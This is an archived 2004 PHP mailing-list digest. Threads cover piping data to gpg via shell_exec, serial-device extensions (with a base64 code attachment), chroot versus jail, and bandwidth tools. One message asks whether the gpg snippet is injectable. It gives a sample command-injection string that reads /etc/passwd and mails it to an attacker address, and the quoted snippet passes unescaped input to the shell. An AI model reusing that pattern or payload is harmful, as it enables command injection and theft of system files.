[nycphp-talk] Digital Signatures in PHP
Rolan Yang
rolan at omnistep.com
Fri Jun 4 04:07:15 EDT 2004
That is great news! Hey, is there any danger in doing echo's of $data
with shell_exec?
I'm wondering, if someone injected $data with something like say..
"This is is the message I want encrypted.'; /bin/cat /etc/passwd |
/bin/mail evilhaxor at hotmail.com; echo 'misc info"
would that all get encrypted entirely or would it run the shell code
sandwiched in the middle?
~Rolan
David Rydell wrote:
>>>Yea, sometimes I wish you could just pipe data to gpg and have it
>>>
>>>
>spit...
>
>You can pipe data to gpg directly... this snippet is from my email class,
>which does exactly that:
>
>$enc = chunk_split(base64_encode(shell_exec("echo '$data' |
>/usr/bin/gpg --homedir /user/.gnupg --compress-algo 1 --cipher-algo
>3des -e -r $recipient 2>> /user/cgi-logs/gpg.log")));
>
>(note the compression/cipher is completely compatible with pgp)
>
>I got the technique from browsing their website http://www.gnupg.org/
>
>
>_______________________________________________
>talk mailing list
>talk at lists.nyphp.org
>http://lists.nyphp.org/mailman/listinfo/talk
>
>
>
>From hans not junk at nyphp.com Fri Jun 4 09:28:58 2004
Return-Path: <hans not junk at nyphp.com>
Received: from ehost011-1.intermedia.net (ehost011-1.intermedia.net
[64.78.21.3]) by virtu.nyphp.org (Postfix) with ESMTP id C938DA85F3
for <talk at lists.nyphp.org>; Fri, 4 Jun 2004 09:28:57 -0400 (EDT)
X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----_=_NextPart_001_01C44A37.E2B0DC53"
Subject: RE: [nycphp-talk] PHP/Bluetooth/Serial
Date: Fri, 4 Jun 2004 06:28:53 -0700
Message-ID: <41EE526EC2D3C74286415780D3BA9F8702512C7E at ehost011-1.exch011.intermedia.net>
X-MS-Has-Attach: yes
X-MS-TNEF-Correlator:
Thread-Topic: [nycphp-talk] PHP/Bluetooth/Serial
Thread-Index: AcRIqPJSX1S5Z9lBQBmaHMmv5D4qGgBjgmEA
From: "Hans Zaunere" <hans not junk at nyphp.com>
To: "NYPHP Talk" <talk at lists.nyphp.org>
X-BeenThere: talk at lists.nyphp.org
X-Mailman-Version: 2.1.4
Precedence: list
Reply-To: NYPHP Talk <talk at lists.nyphp.org>
List-Id: NYPHP Talk <talk.lists.nyphp.org>
List-Unsubscribe: <http://lists.nyphp.org/mailman/listinfo/talk>,
<mailto:talk-request at lists.nyphp.org?subject=unsubscribe>
List-Archive: <http://lists.nyphp.org/pipermail/talk>
List-Post: <mailto:talk at lists.nyphp.org>
List-Help: <mailto:talk-request at lists.nyphp.org?subject=help>
List-Subscribe: <http://lists.nyphp.org/mailman/listinfo/talk>,
<mailto:talk-request at lists.nyphp.org?subject=subscribe>
X-List-Received-Date: Fri, 04 Jun 2004 13:28:58 -0000
This is a multi-part message in MIME format.
------_=_NextPart_001_01C44A37.E2B0DC53
Content-Type: text/plain;
charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
> anyways, many of the classes deal with writing directly to serial
> (/dev/rfcomm0) which php can do but i havent seen many=20
> classes that deal directly w/ devices, are there any in php?
Negative; PHP doesn't like binary too, well.
Luckily, being the forward-thinkers that they are, PHP developers made C
extensions easy. I did one that talked to a serial card reader.
> i had considered taking the ruby "driver" i found and=20
> wrapping it in PHP_FUNCTION()'s for a module but thought it=20
> would be overkill to create an extension.
>=20
> has anyone seen any php code like this? what im trying to=20
> envision doing is something like:
>=20
> $phone =3D new Phone("t68i");
> $phone->addNewMenu($menu, $evnt);
> $phone->showMenu($menu);
> ... then event handlers ...
Exactly... see attached for code sample (and I used a goto so shoot me
:)
H
------_=_NextPart_001_01C44A37.E2B0DC53
Content-Type: application/x-gzip;
name="msr.tar.gz"
Content-Transfer-Encoding: base64
Content-Description: msr.tar.gz
Content-Disposition: attachment;
filename="msr.tar.gz"
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
------_=_NextPart_001_01C44A37.E2B0DC53--
>From hans not junk at nyphp.com Fri Jun 4 09:36:21 2004
Return-Path: <hans not junk at nyphp.com>
Received: from ehost011-1.intermedia.net (ehost011-1.intermedia.net
[64.78.21.3]) by virtu.nyphp.org (Postfix) with ESMTP id 64DEEA85F3
for <talk at lists.nyphp.org>; Fri, 4 Jun 2004 09:36:21 -0400 (EDT)
X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [nycphp-talk] Pair Network's "security" model - could itbe thisbad?
Date: Fri, 4 Jun 2004 06:36:19 -0700
Message-ID: <41EE526EC2D3C74286415780D3BA9F8702512C86 at ehost011-1.exch011.intermedia.net>
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
Thread-Topic: [nycphp-talk] Pair Network's "security" model - could
itbe thisbad?
Thread-Index: AcRI5Zu1837dooYzSuSqO5O/Bqg1NwBUqR2w
From: "Hans Zaunere" <hans not junk at nyphp.com>
To: "NYPHP Talk" <talk at lists.nyphp.org>
X-BeenThere: talk at lists.nyphp.org
X-Mailman-Version: 2.1.4
Precedence: list
Reply-To: NYPHP Talk <talk at lists.nyphp.org>
List-Id: NYPHP Talk <talk.lists.nyphp.org>
List-Unsubscribe: <http://lists.nyphp.org/mailman/listinfo/talk>,
<mailto:talk-request at lists.nyphp.org?subject=unsubscribe>
List-Archive: <http://lists.nyphp.org/pipermail/talk>
List-Post: <mailto:talk at lists.nyphp.org>
List-Help: <mailto:talk-request at lists.nyphp.org?subject=help>
List-Subscribe: <http://lists.nyphp.org/mailman/listinfo/talk>,
<mailto:talk-request at lists.nyphp.org?subject=subscribe>
X-List-Received-Date: Fri, 04 Jun 2004 13:36:21 -0000
> >>Based on the email from Mark Armendariz, it sounds like this host=20
> >>might use a chroot jail for each account, and each jail has its own=20
> >>Apache.
> >>
>=20
> I'm intrigued by this... doesn't it mean that each account=20
> has it's own IP address?
If we're talking FreeBSD's jail() then yes. But I have a feeling that
we're talking chroot(), which isn't really a jail - at least to a BSDer
or anyone else outside Linux.
A chroot() (man 2 chroot) just changes the root directory of the
process. A jail() (man 2 jail on FreeBSD) however is a call into
special kernel hooks that blocks and segragates processes from one
another, including networking, memory (to some extent), etc. Much more
sophisticated than a chroot() in Linux land.
> Or is there some sort of transparent proxy that listens on port 80 and
> forwards each request to the appropriate server (which is listening on
> some high-numbered port)?
Ehh... that's crazy talk :)
H
>From hans not junk at nyphp.com Fri Jun 4 09:44:44 2004
Return-Path: <hans not junk at nyphp.com>
Received: from ehost011-1.intermedia.net (ehost011-1.intermedia.net
[64.78.21.3]) by virtu.nyphp.org (Postfix) with ESMTP id 367EBA865D
for <talk at lists.nyphp.org>; Fri, 4 Jun 2004 09:44:44 -0400 (EDT)
X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [nycphp-talk] "mod PHP" vs. PHP
Date: Fri, 4 Jun 2004 06:44:41 -0700
Message-ID: <41EE526EC2D3C74286415780D3BA9F8702512C95 at ehost011-1.exch011.intermedia.net>
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
Thread-Topic: [nycphp-talk] "mod PHP" vs. PHP
Thread-Index: AcRIqfBCeY1TeNimRNOOG+DD+4jhwgBj8v+A
From: "Hans Zaunere" <hans not junk at nyphp.com>
To: "NYPHP Talk" <talk at lists.nyphp.org>
X-BeenThere: talk at lists.nyphp.org
X-Mailman-Version: 2.1.4
Precedence: list
Reply-To: NYPHP Talk <talk at lists.nyphp.org>
List-Id: NYPHP Talk <talk.lists.nyphp.org>
List-Unsubscribe: <http://lists.nyphp.org/mailman/listinfo/talk>,
<mailto:talk-request at lists.nyphp.org?subject=unsubscribe>
List-Archive: <http://lists.nyphp.org/pipermail/talk>
List-Post: <mailto:talk at lists.nyphp.org>
List-Help: <mailto:talk-request at lists.nyphp.org?subject=help>
List-Subscribe: <http://lists.nyphp.org/mailman/listinfo/talk>,
<mailto:talk-request at lists.nyphp.org?subject=subscribe>
X-List-Received-Date: Fri, 04 Jun 2004 13:44:44 -0000
> I have a somewhat stupid question: what's the difference=20
> between "mod PHP" and PHP?
mod_php is what mod_perl folks call PHP, realizing that their hosting
service will make more money if they offer PHP instead of Perl :)
H
>From hans not junk at nyphp.com Fri Jun 4 09:50:41 2004
Return-Path: <hans not junk at nyphp.com>
Received: from ehost011-1.intermedia.net (ehost011-1.intermedia.net
[64.78.21.3]) by virtu.nyphp.org (Postfix) with ESMTP id 7F585A85F3
for <talk at lists.nyphp.org>; Fri, 4 Jun 2004 09:50:41 -0400 (EDT)
X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [nycphp-talk] Open Source Bandwidth Management
Date: Fri, 4 Jun 2004 06:50:38 -0700
Message-ID: <41EE526EC2D3C74286415780D3BA9F87025CEEE4 at ehost011-1.exch011.intermedia.net>
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
Thread-Topic: [nycphp-talk] Open Source Bandwidth Management
Thread-Index: AcRJoJWRzXYW5wQTTKSoNFf8wFM35AAmat2A
From: "Hans Zaunere" <hans not junk at nyphp.com>
To: "NYPHP Talk" <talk at lists.nyphp.org>
X-BeenThere: talk at lists.nyphp.org
X-Mailman-Version: 2.1.4
Precedence: list
Reply-To: NYPHP Talk <talk at lists.nyphp.org>
List-Id: NYPHP Talk <talk.lists.nyphp.org>
List-Unsubscribe: <http://lists.nyphp.org/mailman/listinfo/talk>,
<mailto:talk-request at lists.nyphp.org?subject=unsubscribe>
List-Archive: <http://lists.nyphp.org/pipermail/talk>
List-Post: <mailto:talk at lists.nyphp.org>
List-Help: <mailto:talk-request at lists.nyphp.org?subject=help>
List-Subscribe: <http://lists.nyphp.org/mailman/listinfo/talk>,
<mailto:talk-request at lists.nyphp.org?subject=subscribe>
X-List-Received-Date: Fri, 04 Jun 2004 13:50:42 -0000
> no i work for a hosting company and we are looking for an=20
> open source bandwidth management solution for our networks to=20
> limit all aspects of traffic
http://www.openbsd.org/faq/pf/
H
More information about the talk
mailing list